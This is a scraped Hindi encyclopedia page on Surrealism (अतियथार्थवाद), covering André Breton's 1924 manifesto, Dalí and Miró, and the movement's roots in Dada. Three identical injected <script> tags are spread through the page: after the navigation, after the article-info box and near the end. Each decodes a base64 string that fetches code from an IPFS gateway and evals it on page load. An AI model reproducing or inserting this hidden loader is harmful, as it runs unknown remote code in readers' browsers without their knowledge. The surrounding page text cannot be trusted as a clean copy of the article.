अतियथार्थवाद

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित १०:१२, १२ मार्च २०१३ का अवतरण ('{{लेख सूचना |पुस्तक नाम=हिन्दी विश्वकोश खण्ड 1 |पृष्ठ स...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
अतियथार्थवाद
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 89,90
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1973 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक भगवतीशरण उपाध्याय ।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अतियथार्थवाद (सर्रियलिज्म), कला और साहित्य के क्षेत्र में प्रथम महायुद्ध के लगभग प्रचलित होने वाली शैली और आंदोलन। चित्रण और मूर्तिकला में तो (चित्रपट के चित्रों में भी) यह आधुनिकतम शैली और तकनीक हैं। इसके प्रचारकों और कलाकारों में प्रधान चिरिको, दालों, मोरो, आर्प, ब्रेतों, मासं आदि हैं। कला में इस सृष्टि का दार्शनिक निरूपण 1924 में आंद्रे ब्रेतों ने अपनी अतियथार्थवादी घोषणा (सर्रियलिस्ट मैनिफेस्टो) में किया।

अतियथार्थवाद का सिद्धांत इसके प्रवर्तकों द्वारा इस प्रकार अभिव्यक्त हुआ अतियथार्थ यथार्थ से, दृश्य-श्रव्य-जगत से परे हैं। यह वह परम यथार्थ है जो अवचेतन में निहित होता है; सुषुप्त, तंद्रित, स्वप्निल अवस्था में असाधारण कल्पित, अकल्पित, अप्रत्याशित अनुभूतियों के रूप में अनायास आवेगों द्वारा मानस के चित्रपट पर चढ़ता उतरता रहता है। जो विषय अथवा दृश्य साधारणत तर्कत परस्पर असंबद्ध लगते हैं वास्तव में उनमें अलक्षित संबंध है जिसे मात्र अतियथार्थवाद प्रकाशित कर सकता है। अतियथार्थवादियों की प्रतिज्ञा है कि हमारे सारे कार्यों का उद्गम अवचेतन अंतर है। वही हमारे कार्यों को गति और दिशा भी देता है और उस उद्गम से प्रस्फुटित होने वाले मनोभावों को दृष्टिगम्य, स्थूल, रससिक्त आकृति दी जा सकती है।

अतियथार्थवाद के प्रतीक और मान दैनंदिन जीवन के परिमाणों, प्रतिबोधों से सर्वथा भिन्न होते हैं। अतियथार्थवादियों की अभिरुचि अलौकिक, अद्भुत, अकल्पित और असंगत स्थितियों की अभिव्यक्ति में है। ऐसा नहीं कि उस अवचेतन का साहित्य अथवा कला में अस्तित्व पहले न रहा हो। परियों की कहानियाँ, असाधारण की कल्पना, जैसे एलिस इन द वंडरलैंड अथवा सिंदबाद की कहानियाँ, बच्चों अथवा अर्धविक्षिप्त व्यक्तियों के चित्रांकन साहित्य और कला दोनों क्षेत्रों में अतियथार्थवाद की इकाइयाँ प्रस्तुत करते हैं। अतियथार्थवादियों की स्थापना है कि हम पार्थिव दृश्य जगत्‌ को भेदकर, उसके तथोक्त यथार्थ का अतिक्रमण करके वास्तविक परम यथार्थ के जगत में प्रवेश कर सकते हैं। अंकन को आकृतियों के प्रतिनिधान की आवश्यकता नहीं, उसे जीवन के गहन तत्वों को समझना और समझाना है, जीवन के प्रति मानव प्रतिक्रियाओं का आकलन करना है, और ये तथ्य निसंदेह दृश्य जगत्‌ के परे के हैं। अंकन को मनोरंजन अथवा आनंद का साधन मानना अनुचित है। स्थूल नेत्रों की सीमाएँ और प्रत्यक्ष की रिक्तता तो घनवादी कला ने ही प्रमाणित कर दी थी, इससे आवश्यकता प्रतीत हुई दृष्टि से अतीत परोक्ष से साक्षात्कार की, जो अवचेतन है, युक्तिसंगत यथार्थ के परे का अयुक्तियुक्त अतियथार्थ।

इस प्रकार अतियथार्थवाद मानस के अंतराल को, अवचेतन के तमाविष्ट गहवरों को आलोकित करता है। घनवाद से भी एक पग आगे दादावाद गया और दादावाद से भी आगे अतियथार्थवाद। अतियथार्थवाद की जड़ें दादावाद की जमीन में ही लगी हैं। स्वयं दादावाद ने क्रियात्मक कल्पना की भूमि छोड़ निर्बंध अवचेतन की आराधना की थी, अब उसके उत्तरवर्ती अतियथार्थवाद ने अवचेतन और दृश्य जगत्‌ को परस्पर सर्वथा स्वतंत्र और पृथक्‌ माना। मानवीय चेतनता और पार्थिव यथार्थ अथवा कायिक अनुभूति में उसके विचार से कोई संबंध नहीं। उन्होंने आत्माध्ययन, जीवन के परम तथ्य की खोज और दृश्य से भिन्न एक अंतर्जगत्‌ की पहचान को अपना लक्ष्य बनाया। उन्होंने कहा कि सावयवीय संपूर्णता के भीतर स्थूलत लक्षित होने वाले परस्पर विरोधी पर वस्तुत अनुकूल तथ्यों, जैसे जीवन और मृत्यु, भूत और भविष्य, सत्य और काल्पनिक को एकत्र करना होगा। अतियथार्थवादी घोषणाकार आंद्रे ब्रेतों ने लिखा मेरा विश्वास है कि भविष्य में दोनों परस्पर विरोधी लगने वाली स्वप्न और सत्य की स्थितियाँ परम यथार्थ, अतियथार्थ में लय हो जाएँगी।

चित्रण की प्रगति में अतियथार्थवाद ने परंपरागत कलाशैली को तिलांजलि दे दी। उसके आकलन और अभिप्रायों ने, चित्रादर्शों ने सर्वथा नया मोड़ लिया, परवर्ती से अंतरवर्ती की ओर। अवचेतन की स्वप्निल स्थितियों, विक्षिप्तावस्था तक, को उसने शुद्ध प्रज्ञा का स्वच्छंद रूप माना। साधारणत अतियथार्थवाद के दो भेद किए जाते हैं:
(1) स्वप्नाभिव्यक्ति,
(2) आवेगांकन।
उनमें पहली शैली का विशिष्ट कलाकार साल्वादोर दाली है और दूसरी का जोआन मीरो। दोनों स्पेन के हैं। अवचेतन के उपासक अतियथार्थवाद को फिर भी आकलन के क्षेत्र में राग और रेखा की दृष्टि से सर्वथा उच्छृंखल भी नहीं समझना चाहिए। यह सही है कि अभिप्राय अथवा अंकित विषय के संबंध में अतियथार्थवाद अप्रत्याशित का आकलन करता है, पर जहाँ तक अंकन की तकनीक की बात है उसके आयाम-परिणाम सर्वथा संयत, स्पष्ट और श्रमसिद्ध होते हैं। दाली के चित्र तो इस दिशा में डच चित्राचार्यों की कला से होड़ करते हैं। अप्रत्याशित यथार्थ का उदाहरण ऐसे चित्र से दिया जा सकता है जिसका सारा वातावरण तो चिकित्सालय के शल्यकक्ष (आपरेशन थियेटर) का हो पर आपरेशन की मेज पर, जहाँ मरीज के होने की आशा की जा सकती है, वहाँ वस्तुत चित्रित होती है सिलाई की मशीन। या नारी का ऊर्ध्वार्ध अंकित करने वाले चित्र में जहाँ ऊपर मुँह होने की अपेक्षा की जाती है वहाँ वस्तुत मेज की दराज बनी रहती है। अतियथार्थवाद कला की, सामाजिक यथार्थवाद के अतिरिक्त, नवीनतम शैली है और इधर, मनोविज्ञान की प्रगति से प्रभावित, प्रभूत लोकप्रिय हुई है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



टीका टिप्पणी और संदर्भ

सं. ग्रं.- आंद्रे ब्रेतों: सर्रियलिस्ट मैनिफ़ेस्टो, 1924; स्कीरा माडर्न पेंटिंग।